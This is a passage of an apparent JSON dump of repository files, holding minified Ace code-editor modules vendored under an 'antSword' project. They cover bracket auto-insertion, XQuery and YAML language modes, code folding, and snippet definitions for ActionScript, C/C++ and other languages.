s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/behaviour/xquery\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/mode/behaviour/xml\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function a(e,t){var n=!0,r=e.type.split(\".\"),i=t.split(\".\");return i.forEach(function(e){if(r.indexOf(e)==-1)return n=!1,!1}),n}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../behaviour/xml\").XmlBehaviour,u=e(\"../../token_iterator\").TokenIterator,f=function(){this.inherit(s,[\"braces\",\"parens\",\"string_dquotes\"]),this.inherit(o),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var s=n.getCursorPosition(),o=new u(r,s.row,s.column),f=o.getCurrentToken(),l=!1,e=JSON.parse(e).pop();if(f&&f.value===\">\"||e!==\"StartTag\")return;if(!f||!a(f,\"meta.tag\")&&(!a(f,\"text\")||!f.value.match(\"/\"))){do f=o.stepBackward();while(f&&(a(f,\"string\")||a(f,\"keyword.operator\")||a(f,\"entity.attribute-name\")||a(f,\"text\")))}else l=!0;var c=o.stepBackward();if(!f||!a(f,\"meta.tag\")||c!==null&&c.value.match(\"/\"))return;var h=f.value.substring(1);if(l)var h=h.substring(0,s.column-f.start);return{text:\"></\"+h+\">\",selection:[1,1]}}})};r.inherits(f,i),t.XQueryBehaviour=f}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/xquery\",[\"require\",\"exports\",\"module\",\"ace/worker/worker_client\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/text_highlight_rules\",\"ace/mode/xquery/xquery_lexer\",\"ace/range\",\"ace/mode/behaviour/xquery\",\"ace/mode/folding/cstyle\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"../worker/worker_client\").WorkerClient,i=e(\"../lib/oop\"),s=e(\"./text\").Mode,o=e(\"./text_highlight_rules\").TextHighlightRules,u=e(\"./xquery/xquery_lexer\").XQueryLexer,a=e(\"../range\").Range,f=e(\"./behaviour/xquery\").XQueryBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=e(\"../anchor\").Anchor,h=function(){this.$tokenizer=new u,this.$behaviour=new f,this.foldingRules=new l,this.$highlightRules=new o};i.inherits(h,s),function(){this.completer={getCompletions:function(e,t,n,r,i){if(!t.$worker)return i();t.$worker.emit(\"complete\",{data:{pos:n,prefix:r}}),t.$worker.on(\"complete\",function(e){i(null,e.data)})}},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=t.match(/\\s*(?:then|else|return|[{\\(]|<\\w+>)\\s*$/);return i&&(r+=n),r},this.checkOutdent=function(e,t,n){return/^\\s+$/.test(t)?/^\\s*[\\}\\)]/.test(n):!1},this.autoOutdent=function(e,t,n){var r=t.getLine(n),i=r.match(/^(\\s*[\\}\\)])/);if(!i)return 0;var s=i[1].length,o=t.findMatchingBracket({row:n,column:s});if(!o||o.row==n)return 0;var u=this.$getIndent(t.getLine(o.row));t.replace(new a(n,0,n,s-1),u)},this.toggleCommentLines=function(e,t,n,r){var i,s,o=!0,u=/^\\s*\\(:(.*):\\)/;for(i=n;i<=r;i++)if(!u.test(t.getLine(i))){o=!1;break}var f=new a(0,0,0,0);for(i=n;i<=r;i++)s=t.getLine(i),f.start.row=i,f.end.row=i,f.end.column=s.length,t.replace(f,o?s.match(u)[1]:\"(:\"+s+\":)\")},this.createWorker=function(e){var t=new r([\"ace\"],\"ace/mode/xquery_worker\",\"XQueryWorker\"),n=this;return t.attachToDocument(e.getDocument()),t.on(\"ok\",function(t){e.clearAnnotations()}),t.on(\"markers\",function(t){e.clearAnnotations(),n.addMarkers(t.data,e)}),t.on(\"highlight\",function(t){n.$tokenizer.tokens=t.data.tokens,n.$tokenizer.lines=e.getDocument().getAllLines();var r=Object.keys(n.$tokenizer.tokens);for(var i=0;i<r.length;i++){var s=parseInt(r[i]);delete e.bgTokenizer.lines[s],delete e.bgTokenizer.states[s],e.bgTokenizer.fireUpdateEvent(s,s)}}),t},this.removeMarkers=function(e){var t=e.getMarkers(!1);for(var n in t)t[n].clazz.indexOf(\"language_highlight_\")===0&&e.removeMarker(n);for(var r=0;r<e.markerAnchors.length;r++)e.markerAnchors[r].detach();e.markerAnchors=[]},this.addMarkers=function(e,t){var n=this;t.markerAnchors||(t.markerAnchors=[]),this.removeMarkers(t),t.languageAnnos=[],e.forEach(function(e){function u(i){r&&t.removeMarker(r),o.row=n.row;if(e.pos.sc!==undefined&&e.pos.ec!==undefined){var s=new a(e.pos.sl,e.pos.sc,e.pos.el,e.pos.ec);r=t.addMarker(s,\"language_highlight_\"+(e.type?e.type:\"default\"))}i&&t.setAnnotations(t.languageAnnos)}var n=new c(t.getDocument(),e.pos.sl,e.pos.sc||0);t.markerAnchors.push(n);var r,i=e.pos.ec-e.pos.sc,s=e.pos.el-e.pos.sl,o={guttertext:e.message,type:e.level||\"warning\",text:e.message};u(),n.on(\"change\",function(){u(!0)}),e.message&&t.languageAnnos.push(o)}),t.setAnnotations(t.languageAnnos)},this.$id=\"ace/mode/xquery\"}.call(h.prototype),t.Mode=h})"
  },
  {
    "path": "antSword/static/libs/ace/mode-yaml.js",
    "content": "ace.define(\"ace/mode/yaml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment\",regex:\"#.*$\"},{token:\"list.markup\",regex:/^(?:-{3}|\\.{3})\\s*(?=#|$)/},{token:\"list.markup\",regex:/^\\s*[\\-?](?:$|\\s)/},{token:\"constant\",regex:\"!![\\\\w//]+\"},{token:\"constant.language\",regex:\"[&\\\\*][a-zA-Z0-9-_]+\"},{token:[\"meta.tag\",\"keyword\"],regex:/^(\\s*\\w.*?)(\\:(?:\\s+|$))/},{token:[\"meta.tag\",\"keyword\"],regex:/(\\w+?)(\\s*\\:(?:\\s+|$))/},{token:\"keyword.operator\",regex:\"<<\\\\w*:\\\\w*\"},{token:\"keyword.operator\",regex:\"-\\\\s*(?=[{])\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"[|>][-+\\\\d\\\\s]*$\",next:\"qqstring\"},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:\"constant.numeric\",regex:/(\\b|[+\\-\\.])[\\d_]+(?:(?:\\.[\\d_]*)?(?:[eE][+\\-]?[\\d_]+)?)/},{token:\"constant.numeric\",regex:/[+\\-]?\\.inf\\b|NaN\\b|0x[\\dA-Fa-f_]+|0b[10_]+/},{token:\"constant.language.boolean\",regex:\"(?:true|false|TRUE|FALSE|True|False|yes|no)\\\\b\"},{token:\"paren.lparen\",regex:\"[[({]\"},{token:\"paren.rparen\",regex:\"[\\\\])}]\"}],qqstring:[{token:\"string\",regex:\"(?=(?:(?:\\\\\\\\.)|(?:[^:]))*?:)\",next:\"start\"},{token:\"string\",regex:\".+\"}]}};r.inherits(s,i),t.YamlHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/yaml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/yaml_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./yaml_highlight_rules\").YamlHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./folding/coffee\").FoldMode,a=function(){this.HighlightRules=s,this.$outdent=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"#\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/yaml\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/abap.js",
    "content": "ace.define(\"ace/snippets/abap\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"abap\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/abc.js",
    "content": "ace.define(\"ace/snippets/abc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='\\nsnippet zupfnoter.print\\n\t%%%%hn.print {\"startpos\": ${1:pos_y}, \"t\":\"${2:title}\", \"v\":[${3:voices}], \"s\":[[${4:syncvoices}1,2]], \"f\":[${5:flowlines}],  \"sf\":[${6:subflowlines}], \"j\":[${7:jumplines}]}\\n\\nsnippet zupfnoter.note\\n\t%%%%hn.note {\"pos\": [${1:pos_x},${2:pos_y}], \"text\": \"${3:text}\", \"style\": \"${4:style}\"}\\n\\nsnippet zupfnoter.annotation\\n\t%%%%hn.annotation {\"id\": \"${1:id}\", \"pos\": [${2:pos}], \"text\": \"${3:text}\"}\\n\\nsnippet zupfnoter.lyrics\\n\t%%%%hn.lyrics {\"pos\": [${1:x_pos},${2:y_pos}]}\\n\\nsnippet zupfnoter.legend\\n\t%%%%hn.legend {\"pos\": [${1:x_pos},${2:y_pos}]}\\n\\n\\n\\nsnippet zupfnoter.target\\n\t\"^:${1:target}\"\\n\\nsnippet zupfnoter.goto\\n\t\"^@${1:target}@${2:distance}\"\\n\\nsnippet zupfnoter.annotationref\\n\t\"^#${1:target}\"\\n\\nsnippet zupfnoter.annotation\\n\t\"^!${1:text}@${2:x_offset},${3:y_offset}\"\\n\\n\\n',t.scope=\"abc\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/actionscript.js",
    "content": "ace.define(\"ace/snippets/actionscript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet main\\n\tpackage {\\n\t\timport flash.display.*;\\n\t\timport flash.Events.*;\\n\t\\n\t\tpublic class Main extends Sprite {\\n\t\t\tpublic function Main (\t) {\\n\t\t\t\ttrace(\"start\");\\n\t\t\t\tstage.scaleMode = StageScaleMode.NO_SCALE;\\n\t\t\t\tstage.addEventListener(Event.RESIZE, resizeListener);\\n\t\t\t}\\n\t\\n\t\t\tprivate function resizeListener (e:Event):void {\\n\t\t\t\ttrace(\"The application window changed size!\");\\n\t\t\t\ttrace(\"New width:  \" + stage.stageWidth);\\n\t\t\t\ttrace(\"New height: \" + stage.stageHeight);\\n\t\t\t}\\n\t\\n\t\t}\\n\t\\n\t}\\nsnippet class\\n\t${1:public|internal} class ${2:name} ${3:extends } {\\n\t\tpublic function $2 (\t) {\\n\t\t\t(\"start\");\\n\t\t}\\n\t}\\nsnippet all\\n\tpackage name {\\n\\n\t\t${1:public|internal|final} class ${2:name} ${3:extends } {\\n\t\t\tprivate|public| static const FOO = \"abc\";\\n\t\t\tprivate|public| static var BAR = \"abc\";\\n\t\t\tif Cababilities.os == \"Linux|MacOS\" {\\n\t\t\t\tFOO = \"other\";\\n\t\t\t}\\n\t\t\tpublic function $2 (\t){\\n\t\t\t\tsuper2();\\n\t\t\t\ttrace(\"start\");\\n\t\t\t}\\n\t\t\tpublic function name (a, b...){\\n\t\t\t\tsuper.name(..);\\n\t\t\t\tlable:break\\n\t\t\t}\\n\t\t}\\n\t}\\n\\n\tfunction A(){\\n\t}\\nsnippet switch\\n\tswitch(${1}){\\n\t\tcase ${2}:\\n\t\t\t${3}\\n\t\tbreak;\\n\t\tdefault:\\n\t}\\nsnippet case\\n\t\tcase ${1}:\\n\t\t\t${2}\\n\t\tbreak;\\nsnippet package\\n\tpackage ${1:package}{\\n\t\t${2}\\n\t}\\nsnippet wh\\n\twhile ${1:cond}{\\n\t\t${2}\\n\t}\\nsnippet do\\n\tdo {\\n\t\t${2}\\n\t} while (${1:cond})\\nsnippet while\\n\twhile ${1:cond}{\\n\t\t${2}\\n\t}\\nsnippet for enumerate names\\n\tfor (${1:var} in ${2:object}){\\n\t\t${3}\\n\t}\\nsnippet for enumerate values\\n\tfor each (${1:var} in ${2:object}){\\n\t\t${3}\\n\t}\\nsnippet get_set\\n\tfunction get ${1:name} {\\n\t\treturn ${2}\\n\t}\\n\tfunction set $1 (newValue) {\\n\t\t${3}\\n\t}\\nsnippet interface\\n\tinterface name {\\n\t\tfunction method(${1}):${2:returntype};\\n\t}\\nsnippet try\\n\ttry {\\n\t\t${1}\\n\t} catch (error:ErrorType) {\\n\t\t${2}\\n\t} finally {\\n\t\t${3}\\n\t}\\n# For Loop (same as c.snippet)\\nsnippet for for (..) {..}\\n\tfor (${2:i} = 0; $2 < ${1:count}; $2${3:++}) {\\n\t\t${4:/* code */}\\n\t}\\n# Custom For Loop\\nsnippet forr\\n\tfor (${1:i} = ${2:0}; ${3:$1 < 10}; $1${4:++}) {\\n\t\t${5:/* code */}\\n\t}\\n# If Condition\\nsnippet if\\n\tif (${1:/* condition */}) {\\n\t\t${2:/* code */}\\n\t}\\nsnippet el\\n\telse {\\n\t\t${1}\\n\t}\\n# Ternary conditional\\nsnippet t\\n\t${1:/* condition */} ? ${2:a} : ${3:b}\\nsnippet fun\\n\tfunction ${1:function_name}(${2})${3}\\n\t{\\n\t\t${4:/* code */}\\n\t}\\n# FlxSprite (usefull when using the flixel library)\\nsnippet FlxSprite\\n\tpackage\\n\t{\\n\t\timport org.flixel.*\\n\\n\t\tpublic class ${1:ClassName} extends ${2:FlxSprite}\\n\t\t{\\n\t\t\tpublic function $1(${3: X:Number, Y:Number}):void\\n\t\t\t{\\n\t\t\t\tsuper(X,Y);\\n\t\t\t\t${4: //code...}\\n\t\t\t}\\n\\n\t\t\toverride public function update():void\\n\t\t\t{\\n\t\t\t\tsuper.update();\\n\t\t\t\t${5: //code...}\\n\t\t\t}\\n\t\t}\\n\t}\\n\\n',t.scope=\"actionscript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ada.js",
    "content": "ace.define(\"ace/snippets/ada\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ada\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/apache_conf.js",
    "content": "ace.define(\"ace/snippets/apache_conf\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"apache_conf\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/applescript.js",
    "content": "ace.define(\"ace/snippets/applescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"applescript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/asciidoc.js",
    "content": "ace.define(\"ace/snippets/asciidoc\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"asciidoc\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/assembly_x86.js",
    "content": "ace.define(\"ace/snippets/assembly_x86\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"assembly_x86\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/autohotkey.js",
    "content": "ace.define(\"ace/snippets/autohotkey\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"autohotkey\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/batchfile.js",
    "content": "ace.define(\"ace/snippets/batchfile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"batchfile\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/c9search.js",
    "content": "ace.define(\"ace/snippets/c9search\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"c9search\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/c_cpp.js",
    "content": "ace.define(\"ace/snippets/c_cpp\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"## STL Collections\\n# std::array\\nsnippet array\\n\tstd::array<${1:T}, ${2:N}> ${3};${4}\\n# std::vector\\nsnippet vector\\n\tstd::vector<${1:T}> ${2};${3}\\n# std::deque\\nsnippet deque\\n\tstd::deque<${1:T}> ${2};${3}\\n# std::forward_list\\nsnippet flist\\n\tstd::forward_list<${1:T}> ${2};${3}\\n# std::list\\nsnippet list\\n\tstd::list<${1:T}> ${2};${3}\\n# std::set\\nsnippet set\\n\tstd::set<${1:T}> ${2};${3}\\n# std::map\\nsnippet map\\n\tstd::map<${1:Key}, ${2:T}> ${3};${4}\\n# std::multiset\\nsnippet mset\\n\tstd::multiset<${1:T}> ${2};${3}\\n# std::multimap\\nsnippet mmap\\n\tstd::multimap<${1:Key}, ${2:T}> ${3};${4}\\n# std::unordered_set\\nsnippet uset\\n\tstd::unordered_set<${1:T}> ${2};${3}\\n# std::unordered_map\\nsnippet umap\\n\tstd::unordered_map<${1:Key}, ${2:T}> ${3};${4}\\n# std::unordered_multiset\\nsnippet umset\\n\tstd::unordered_multiset<${1:T}> ${2};${3}\\n# std::unordered_multimap\\nsnippet ummap\\n\tstd::unordered_multimap<${1:Key}, ${2:T}> ${3};${4}\\n# std::stack\\nsnippet stack\\n\tstd::stack<${1:T}> ${2};${3}\\n# std::queue\\nsnippet queue\\n\tstd::queue<${1:T}> ${2};${3}\\n# std::priority_queue\\nsnippet 